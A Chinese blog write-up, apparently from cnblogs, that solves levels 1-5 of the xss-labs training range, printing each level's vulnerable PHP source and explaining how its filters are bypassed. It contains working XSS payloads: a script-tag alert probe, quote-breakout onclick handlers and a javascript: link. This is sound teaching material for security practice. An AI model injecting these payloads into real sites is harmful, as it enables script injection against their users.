XSS-lab靶场练习(1~5)

写在前面

靶场链接:https://github.com/do0dl3/xss-labs

Level 1

没有什么过滤或者其他的什么,就是普通的get型传参
这里使用的也是我们非常常用的探测语句:

<script>alert('xss')</script>

在这里插入图片描述

Level 2

对于输入框:
在这里插入图片描述
在网页源代码中,我们输入的数据,是在表单中的value属性内,所以需要先闭合input标签,也是通过get来获取参数。
所以payload:

"><script>alert('xss')</script>

同时,我们也可以使用input中的其他属性:

" οnclick="alert('xss')

在这里插入图片描述

Level 3

在这里插入图片描述
初见题目感觉和第二关很像,但是使用探测和第二关的payload并不起作用,检查看看:
在这里插入图片描述
可以看到在value属性有些字段转换为了实体。来看看源码是怎么回事吧:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

这里仅仅截下了处理脚本,可以看到有个htmlspecialchars()。看看解析:
在这里插入图片描述
在这里插入图片描述
这里很明显可以看到该函数再默认参数情况下,会对<>进行实体化,所以这里我们无法使用标签来进行xss,这里我们使用事件属性来完成。并且这里仅对双引号进行实体化(默认参数情况下),我们使用单引号来完成闭合就可以了。
所以payload:

' οnclick='alert(123)

这里有个小问题要提一下,就是为什么'闭合是合理的(我们前面不是“来闭合吗?)
这是因为脚本中是",'都使用了,你可以仔细看看源代码,单双引号都使用是比较常用的写法。也就是说我们闭合的是最靠前的’。
这也是为什么这里alert的值是数字,要避免闭合混乱(如果硬要用字符串,请用""),如果在alert中再使用单引号,就会提前闭合语句。
在这里插入图片描述

Level 4

在这里插入图片描述
输入<瞬间就无了,说明这里有一定的过滤,看看源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

是使用的str_replace(),但这里使用的是单字符替换,双写和大小写不是很好使用,这里也没有htmlspecialchars(),我们完全可以使用标签事件属性绕过:

" οnclick="alert('xss')

Level 5

探测<script>的时候,输入发生了变化,如下:
在这里插入图片描述
源码如下:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

既然不能用

"><a href="javascript:alert(123)

点击图片即可

本题使用了三个防范方法:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

分别能够 转换小写,script关键字转换,on转换
考虑了标签、及事件的转换,但是没有考虑完整,后面我们会提到onerror,到时再来介绍on的转换

posted @ 2021-10-25 14:38  Sayo-NERV  阅读(69)  评论(0编辑  收藏  举报